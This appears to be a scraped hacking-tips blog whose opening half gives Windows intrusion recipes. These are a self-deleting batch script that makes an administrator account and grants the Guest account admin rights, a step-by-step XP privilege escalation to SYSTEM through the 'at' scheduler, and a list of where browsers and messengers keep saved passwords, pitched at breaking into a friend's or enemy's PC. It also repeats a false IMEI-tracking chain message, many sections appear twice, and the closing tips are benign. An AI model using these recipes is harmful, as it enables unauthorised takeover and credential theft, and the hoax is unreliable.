Well thats possible ..
Please Dont missuse This ARTICLE. Its meant for "Educational Purpose" only or for helping those who have lost their PASSWORD.
HaCk "GUEST" with Admin privileges........
echo off
title Please wait...
cls
net user add Username Password /add
net user localgroup Administrators Username /add
net user Guest 420 /active:yes
net localgroup Guests Guest /DELETE
net localgroup Administrators Guest /add
del %0
Copy this to notepad and save the file as "Guest2admin.bat"
then u can double click the file to execute or run in the cmd.
it works...
~ Cheers ~
Haking "admin" from "user" mode n more
really that is possible !
u know why is it a "user" account because it lacks come service layer than that in "administrator" account
Using simple command line tools on a machine running Windows XP we will obtain system level privileges, and run the entire explorer process (Desktop), and all processes that run from it have system privileges. The system run level is higher than administrator, and has full control of the operating system and it’s kernel. On many machines this can be exploited even with the guest account. At the time I’m publishing this, I have been unable to find any other mention of people running an entire desktop as system, although I have seen some articles regarding the SYSTEM command prompt.
Local privilege escalation is useful on any system that a hacker may compromise; the system account allows for several other things that aren’t normally possible (like resetting the administrator password).
The Local System account is used by the Windows OS to control various aspects of the system (kernel, services, etc); the account shows up as SYSTEM in the Task Manager
Local System differs from an Administrator account in that it has full control of the operating system, similar to root on a *nix machine. Most System processes are required by the operating system, and cannot be closed, even by an Administrator account; attempting to close them will result in a error message. The following quote from Wikipedia explains this in a easy to understand way:
You can trick the system into running a program, script, or batch file with system level privileges.
One sample
One trick is to use a vulnerability in Windows long filename support.
Try placing an executable named Program.*, in the root directory of the "Windows" drive. Then reboot. The system may run the Program.*, with system level privileges. So long as one of the applications in the "Program Files" directory is a startup app. The call to "Program Files", will be intercepted by Program.*.
Microsoft eventually caught on to that trick. Now days, more and more, of the startup applications are being coded to use limited privileges.
Quote:
In Windows NT and later systems derived from it (Windows 2000, Windows XP, Windows Server 2003 and Windows Vista), there may or may not be a superuser. By default, there is a superuser named Administrator, although it is not an exact analogue of the Unix root superuser account. Administrator does not have all the privileges of root because some superuser privileges are assigned to the Local System account in Windows NT.
Under normal circumstances, a user cannot run code as System, only the operating system itself has this ability, but by using the command line, we will trick Windows into running our desktop as System, along with all applications that are started from within.
Getting SYSTEM
I will now walk you through the process of obtaining SYSTEM privileges.
To start, lets open up a command prompt (Start > Run > cmd > [ENTER]).
At the prompt, enter the following command, then press [ENTER]:
Code:
at
If it responds with an “access denied” error, then we are out of luck, and you’ll have to try another method of privilege escalation; if it responds with “There are no entries in the list” (or sometimes with multiple entries already in the list) then we are good. Access to the at command varies, on some installations of Windows, even the Guest account can access it, on others it’s limited to Administrator accounts. If you can use the at command, enter the following commands, then press [ENTER]:
Code:
at 15:25 /interactive “cmd.exe”
Lets break down the preceding code. The “at” told the machine to run the at command, everything after that are the operators for the command, the important thing here, is to change the time (24 hour format) to one minute after the time currently set on your computers clock, for example: If your computer’s clock says it’s 4:30pm, convert this to 24 hour format (16:30) then use 16:31 as the time in the command. If you issue the at command again with no operators, then you should see something similar to this:
When the system clock reaches the time you set, then a new command prompt will magically run. The difference is that this one is running with system privileges (because it was started by the task scheduler service, which runs under the Local System account). It should look like this:
You’ll notice that the title bar has changed from cmd.exe to svchost.exe (which is short for Service Host). Now that we have our system command prompt, you may close the old one. Run Task Manager by either pressing CTRL+ALT+DELETE or typing taskmgr at the command prompt. In task manager, go to the processes tab, and kill explorer.exe; your desktop and all open folders should disappear, but the system command prompt should still be there.
At the system command prompt, enter in the following:
Code:
explorer.exe
A desktop will come back up, but what this? It isn’t your desktop. Go to the start menu and look at the user name, it should say “SYSTEM”. Also open up task manager again, and you’ll notice that explorer.exe is now running as SYSTEM. The easiest way to get back into your own desktop, is to log out and then log back in. The following 2 screenshots show my results (click to zoomThis emoticon has been enhanced by Facicons
System user name on start menu
explorer.exe running under SYSTEM
What to do now
Now that we have SYSTEM access, everything that we run from our explorer process will have it too, browsers, games, etc. You also have the ability to reset the administrators password, and kill other processes owned by SYSTEM. You can do anything on the machine, the equivalent of root; You are now God of the Windows machine. I’ll leave the rest up to your imagination.
ADMINISTRATOR IN WELCOME SCREEN.
When you install Windows XP an Administrator Account is created (you are asked to supply an administrator password), but the "Welcome Screen" does not give you the option to log on as Administrator unless you boot up in Safe Mode.
First you must ensure that the Administrator Account is enabled:
1 open Control Panel
2 open Administrative Tools
3 open Local Security Policy
4 expand Local Policies
5 click on Security Options
6 ensure that Accounts: Administrator account status is enabled Then follow the instructions from the "Win2000 Logon Screen Tweak" ie.
1 open Control Panel
2 open User Accounts
3 click Change the way users log on or log off
4 untick Use the Welcome Screen
5 click Apply Options
You will now be able to log on to Windows XP as Administrator in Normal Mode.
EASY WAY TO ADD THE ADMINISTRATOR USER TO THE WELCOME SCREEN.!!
Start the Registry Editor Go to:
HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Winlogon \ SpecialAccounts \ UserList \
Right-click an empty space in the right pane and select New > DWORD Value Name the new value Administrator. Double-click this new value, and enter 1 as it's Value data. Close the registry editor and restart.
Monday, August 30, 2010
Find Password!!
it will help u when u gain acess in someones pc or u using a system or friend or enemy and u want to know his/her passwords ..........
Enjoy!
# Internet Explorer 4.00 - 6.00:
====================
The passwords are stored in a secret location in the Registry known as the "Protected Storage".
The base key of the Protected Storage is located under the following key:
"HKEY_CURRENT_USER\Software\Microso
ft\Protected Storage System Provider".
You can browse the above key in the Registry Editor (RegEdit), but you won't be able to watch the passwords, because they are encrypted.
Also, this key cannot easily moved from one computer to another, like you do with regular Registry keys.
# Internet Explorer 7.00 - 8.00:
====================
The new versions of Internet Explorer stores the passwords in 2 different locations.
AutoComplete passwords are stored in the Registry under HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\IntelliForms\Storage2.
HTTP Authentication passwords are stored in the Credentials file under Documents and Settings\Application Data\Microsoft\Credentials , together with login passwords of LAN computers and other passwords.
# Firefox:
=======
The passwords are stored in one of the following filenames: signons.txt, signons2.txt, and signons3.txt (depends on Firefox version)
These password files are located inside the profile folder of Firefox, in [Windows Profile]\Application Data\Mozilla\Firefox\Profiles\[Profile Name]
Also, key3.db, located in the same folder, is used for encryption/decription of the passwords.
# Google Chrome Web browser:
====================
The passwords are stored in [Windows Profile]\Local Settings\Application Data\Google\Chrome\User Data\Default\Web Data
(This filename is SQLite database which contains encrypted passwords and other stuff)
# Opera:
======
The passwords are stored in wand.dat filename, located under [Windows Profile]\Application Data\Opera\Opera\profile
# Outlook Express (All Versions):
=====================
The POP3/SMTP/IMAP passwords Outlook Express are also stored in the Protected Storage, like the passwords of old versions of Internet Explorer.
# Outlook Express (All Versions):
=====================
The POP3/SMTP/IMAP passwords Outlook Express are also stored in the Protected Storage, like the passwords of old versions of Internet Explorer.
# Outlook 2002-2008:
==============
All new versions of Outlook store the passwords in the same Registry key of the account settings.
The accounts are stored in the Registry under HKEY_CURRENT_USER\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\[Profile Name]\9375CFF0413111d3B88A00104B2A6676\[
Account Index]
If you use Outlook to connect an account on Exchange server, the password is stored in the Credentials file, together with login passwords of LAN computers.
# Windows Live Mail:
=============
All account settings, including the encrypted passwords, are stored in [Windows Profile]\Local Settings\Application Data\Microsoft\Windows Live Mail\[Account Name]
The account filename is an xml file with .oeaccount extension.
# ThunderBird:
==========
The password file is located under [Windows Profile]\Application Data\Thunderbird\Profiles\[Profile Name]
You should search a filename with .s extension.
# Google Talk: All account settings, including the encrypted passwords, are stored in the Registry under HKEY_CURRENT_USER\Software\Google\Google Talk\Accounts\[Account Name]
# Google Desktop:
============
Email passwords are stored in the Registry under HKEY_CURRENT_USER\Software\Google\Google Desktop\Mailboxes\[Account Name]
# MSN/Windows Messenger version 6.x and below:
================================
The passwords are stored in one of the following locations:
1. Registry Key: HKEY_CURRENT_USER\Software\Microsoft\MSNMessenger
2. Registry Key: HKEY_CURRENT_USER\Software\Microsoft\MessengerService
3. In the Credentials file, with entry named as "Passport.Net\\*". (Only when the OS is XP or more)
# MSN Messenger version 7.x:
====================
The passwords are stored under HKEY_CURRENT_USER\Software\Microsoft\IdentityCRL\Creds\[Account Name]
# Windows Live Messenger version 8.x/9.x:
============================
The passwords are stored in the Credentials file, with entry name begins with "WindowsLive:name=".
# Yahoo Messenger 6.x:
================
The password is stored in the Registry, under HKEY_CURRENT_USER\Software\Yahoo\Pager
("EOptions string" value)
# Yahoo Messenger 7.5 or later:
=====================
The password is stored in the Registry, under HKEY_CURRENT_USER\Software\Yahoo\Pager - "ETS" value.
The value stored in "ETS" value cannot be recovered back to the original password.
# AIM Pro:
========
The passwords are stored in the Registry, under HKEY_CURRENT_USER\Software\AIM\AIMPRO\[A
ccount Name]
# AIM 6.x:
========
The passwords are stored in the Registry, under HKEY_CURRENT_USER\Software\America Online\AIM6\Passwords
# ICQ Lite 4.x/5.x/2003:
================
The passwords are stored in the Registry, under HKEY_CURRENT_USER\Software\Mirabilis\ICQ\NewOwners\[ICQ Number]
(MainLocation value)
# ICQ 6.x:
========
The password hash is stored in [Windows Profile]\Application Data\ICQ\[User Name]\Owner.mdb (Access Database)
(The password hash cannot be recovered back to the original password)
# Digsby:
=======
The main password of Digsby is stored in [Windows Profile]\Application Data\Digsby\digsby.dat
All other passwords are stored in Digsby servers.
# PaltalkScene:
==========
The passwords are stored in the Registry, under HKEY_CURRENT_USER\Software\Paltalk\[Account Name].
Enjoy!
# Internet Explorer 4.00 - 6.00:
====================
The passwords are stored in a secret location in the Registry known as the "Protected Storage".
The base key of the Protected Storage is located under the following key:
"HKEY_CURRENT_USER\Software\Microso
ft\Protected Storage System Provider".
You can browse the above key in the Registry Editor (RegEdit), but you won't be able to watch the passwords, because they are encrypted.
Also, this key cannot easily moved from one computer to another, like you do with regular Registry keys.
# Internet Explorer 7.00 - 8.00:
====================
The new versions of Internet Explorer stores the passwords in 2 different locations.
AutoComplete passwords are stored in the Registry under HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\IntelliForms\Storage2.
HTTP Authentication passwords are stored in the Credentials file under Documents and Settings\Application Data\Microsoft\Credentials , together with login passwords of LAN computers and other passwords.
# Firefox:
=======
The passwords are stored in one of the following filenames: signons.txt, signons2.txt, and signons3.txt (depends on Firefox version)
These password files are located inside the profile folder of Firefox, in [Windows Profile]\Application Data\Mozilla\Firefox\Profiles\[Profile Name]
Also, key3.db, located in the same folder, is used for encryption/decription of the passwords.
# Google Chrome Web browser:
====================
The passwords are stored in [Windows Profile]\Local Settings\Application Data\Google\Chrome\User Data\Default\Web Data
(This filename is SQLite database which contains encrypted passwords and other stuff)
# Opera:
======
The passwords are stored in wand.dat filename, located under [Windows Profile]\Application Data\Opera\Opera\profile
# Outlook Express (All Versions):
=====================
The POP3/SMTP/IMAP passwords Outlook Express are also stored in the Protected Storage, like the passwords of old versions of Internet Explorer.
# Outlook Express (All Versions):
=====================
The POP3/SMTP/IMAP passwords Outlook Express are also stored in the Protected Storage, like the passwords of old versions of Internet Explorer.
# Outlook 2002-2008:
==============
All new versions of Outlook store the passwords in the same Registry key of the account settings.
The accounts are stored in the Registry under HKEY_CURRENT_USER\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\[Profile Name]\9375CFF0413111d3B88A00104B2A6676\[
Account Index]
If you use Outlook to connect an account on Exchange server, the password is stored in the Credentials file, together with login passwords of LAN computers.
# Windows Live Mail:
=============
All account settings, including the encrypted passwords, are stored in [Windows Profile]\Local Settings\Application Data\Microsoft\Windows Live Mail\[Account Name]
The account filename is an xml file with .oeaccount extension.
# ThunderBird:
==========
The password file is located under [Windows Profile]\Application Data\Thunderbird\Profiles\[Profile Name]
You should search a filename with .s extension.
# Google Talk: All account settings, including the encrypted passwords, are stored in the Registry under HKEY_CURRENT_USER\Software\Google\Google Talk\Accounts\[Account Name]
# Google Desktop:
============
Email passwords are stored in the Registry under HKEY_CURRENT_USER\Software\Google\Google Desktop\Mailboxes\[Account Name]
# MSN/Windows Messenger version 6.x and below:
================================
The passwords are stored in one of the following locations:
1. Registry Key: HKEY_CURRENT_USER\Software\Microsoft\MSNMessenger
2. Registry Key: HKEY_CURRENT_USER\Software\Microsoft\MessengerService
3. In the Credentials file, with entry named as "Passport.Net\\*". (Only when the OS is XP or more)
# MSN Messenger version 7.x:
====================
The passwords are stored under HKEY_CURRENT_USER\Software\Microsoft\IdentityCRL\Creds\[Account Name]
# Windows Live Messenger version 8.x/9.x:
============================
The passwords are stored in the Credentials file, with entry name begins with "WindowsLive:name=".
# Yahoo Messenger 6.x:
================
The password is stored in the Registry, under HKEY_CURRENT_USER\Software\Yahoo\Pager
("EOptions string" value)
# Yahoo Messenger 7.5 or later:
=====================
The password is stored in the Registry, under HKEY_CURRENT_USER\Software\Yahoo\Pager - "ETS" value.
The value stored in "ETS" value cannot be recovered back to the original password.
# AIM Pro:
========
The passwords are stored in the Registry, under HKEY_CURRENT_USER\Software\AIM\AIMPRO\[A
ccount Name]
# AIM 6.x:
========
The passwords are stored in the Registry, under HKEY_CURRENT_USER\Software\America Online\AIM6\Passwords
# ICQ Lite 4.x/5.x/2003:
================
The passwords are stored in the Registry, under HKEY_CURRENT_USER\Software\Mirabilis\ICQ\NewOwners\[ICQ Number]
(MainLocation value)
# ICQ 6.x:
========
The password hash is stored in [Windows Profile]\Application Data\ICQ\[User Name]\Owner.mdb (Access Database)
(The password hash cannot be recovered back to the original password)
# Digsby:
=======
The main password of Digsby is stored in [Windows Profile]\Application Data\Digsby\digsby.dat
All other passwords are stored in Digsby servers.
# PaltalkScene:
==========
The passwords are stored in the Registry, under HKEY_CURRENT_USER\Software\Paltalk\[Account Name].
Track any cell phone
Did you ever lost your mobile and found no help from police or mobile operator in tracking your mobile? Well now you don’t need to be worried about it. Now a days each one of us carry Mobile devices and always fear that it may be stolen. Each mobile carries a unique IMEI i.e International Mobile Identity No which can be used to track your mobile anywhere in the world.
This is how it works!!!!!!
1. Dial *#06# from your mobile.
2. Your mobile shows a unique 15 digit .
3. Note down this no anywhere but except your mobile as this is the no which will help trace your mobile in case of a theft.
4. Once stolen you just have to mail this 15 digit IMEI no. to cop@vsnl.net
5. No need to go to police.
6. Your Mobile will be traced within next 24 hrs via a complex system of GPRS and internet.
7. You will find where your hand set is being operated even in case your no is being changed.
PASS ON THIS VERY IMP MESSAGE TO ALL YOUR FRIENDS AND RELATIVES.
If u lost your mobile, send an e-mail to cop@vsnl.netwith the following info.
Your name:
Address:
Phone model:
Make:
Last used No.:
E-mail for communication:
Missed date:
IMEI No.:
This is how it works!!!!!!
1. Dial *#06# from your mobile.
2. Your mobile shows a unique 15 digit .
3. Note down this no anywhere but except your mobile as this is the no which will help trace your mobile in case of a theft.
4. Once stolen you just have to mail this 15 digit IMEI no. to cop@vsnl.net
5. No need to go to police.
6. Your Mobile will be traced within next 24 hrs via a complex system of GPRS and internet.
7. You will find where your hand set is being operated even in case your no is being changed.
PASS ON THIS VERY IMP MESSAGE TO ALL YOUR FRIENDS AND RELATIVES.
If u lost your mobile, send an e-mail to cop@vsnl.netwith the following info.
Your name:
Address:
Phone model:
Make:
Last used No.:
E-mail for communication:
Missed date:
IMEI No.:
What is the difference Between Http and Https
The "S" in HTTPS indicates a secure site, its a kind of security that means anytime you access website with https in address bar before writing a website you are creating an secure session between you and the website server thereafter any data which transfer between server and your computer will be completely in encrypted format.
Let me elaborate this more clearly,If you visit a web site or web page, and look at the address in the web browser, it will likely begin with the following: http://. This means that the web site is talking to your browser using the regular 'unsecured' language. In other If you fill out a form on the web site, someone might see the information you send to that site. This is why you never ever enter your credit card number in an http web site! But if the web address begins with https://, your computer is talking to the web site in a secure code that no one can eavesdrop on.
If a web site ever asks you to enter your credit card information, you should look to see if the web address begins with https://. If it doesn't, there's no way you're going to enter sensitive information like a credit card number!
Let me elaborate this more clearly,If you visit a web site or web page, and look at the address in the web browser, it will likely begin with the following: http://. This means that the web site is talking to your browser using the regular 'unsecured' language. In other If you fill out a form on the web site, someone might see the information you send to that site. This is why you never ever enter your credit card number in an http web site! But if the web address begins with https://, your computer is talking to the web site in a secure code that no one can eavesdrop on.
If a web site ever asks you to enter your credit card information, you should look to see if the web address begins with https://. If it doesn't, there's no way you're going to enter sensitive information like a credit card number!
Use Vlc Media Player As Video Cutter
The latest version of VLC media player lets you cut videos and use it as a video cutter. There has been a lot of several cool features added to the latest version of VLC.
How to Cut Videos Using VLC
Install the latest VLC player.
Open player and under option “View” select “advanced controls”.
Now you can see some extra icons available in your control panel. First button from left is the “RECORD” button.
Open the video file from DVD or hard drive and just click the record button to start cutting the video. Press it again to stop recording.
After you finished cutting the video clip from vlc, you can find those clip in your “Documents” folder named as VLC Record with the date and time. By this you could save your favorite video clips from right inside vlc player itself. The recorded clip will be saved as an MP4 file.
How to Cut Videos Using VLC
Install the latest VLC player.
Open player and under option “View” select “advanced controls”.
Now you can see some extra icons available in your control panel. First button from left is the “RECORD” button.
Open the video file from DVD or hard drive and just click the record button to start cutting the video. Press it again to stop recording.
After you finished cutting the video clip from vlc, you can find those clip in your “Documents” folder named as VLC Record with the date and time. By this you could save your favorite video clips from right inside vlc player itself. The recorded clip will be saved as an MP4 file.
Steps 2 Remove csrcs.exe or csrsc.exe
teps to remove this virus:
1. Scan the system with a good and updated Anti Virus.
2. Open Task Manager, locate this exe (csrcs.exe or csrsc.exe but not csrss.exe), and kill the process.
3. Now type msconfig in the Run box, and then go to startup tab.
4. Locate this exe file, if any, and then remove it from there as well.
5. Now search the file in the C: drive.
6. Permanently delete the file (csrcs.exe or csrsc.exe only) from the computer.
7. Reboot the PC for changes to take place.
1. Scan the system with a good and updated Anti Virus.
2. Open Task Manager, locate this exe (csrcs.exe or csrsc.exe but not csrss.exe), and kill the process.
3. Now type msconfig in the Run box, and then go to startup tab.
4. Locate this exe file, if any, and then remove it from there as well.
5. Now search the file in the C: drive.
6. Permanently delete the file (csrcs.exe or csrsc.exe only) from the computer.
7. Reboot the PC for changes to take place.
Easy Way To Rename Start Button!
Change Start Button Text with Start Button Caption Renamer
1. Download the utility from http://www.brothersoft.com/start-button-caption-217303.html
and double click StartB.exe to run it
2. Enter the name which you want to set in start button and click the button Change Start Button Name
You can revert the default text in start button by clicking the button Change Start Button to Default.,
Enjoy.,.
1. Download the utility from http://www.brothersoft.com/start-button-caption-217303.html
and double click StartB.exe to run it
2. Enter the name which you want to set in start button and click the button Change Start Button Name
You can revert the default text in start button by clicking the button Change Start Button to Default.,
Enjoy.,.
Subscribe to:
Posts (Atom)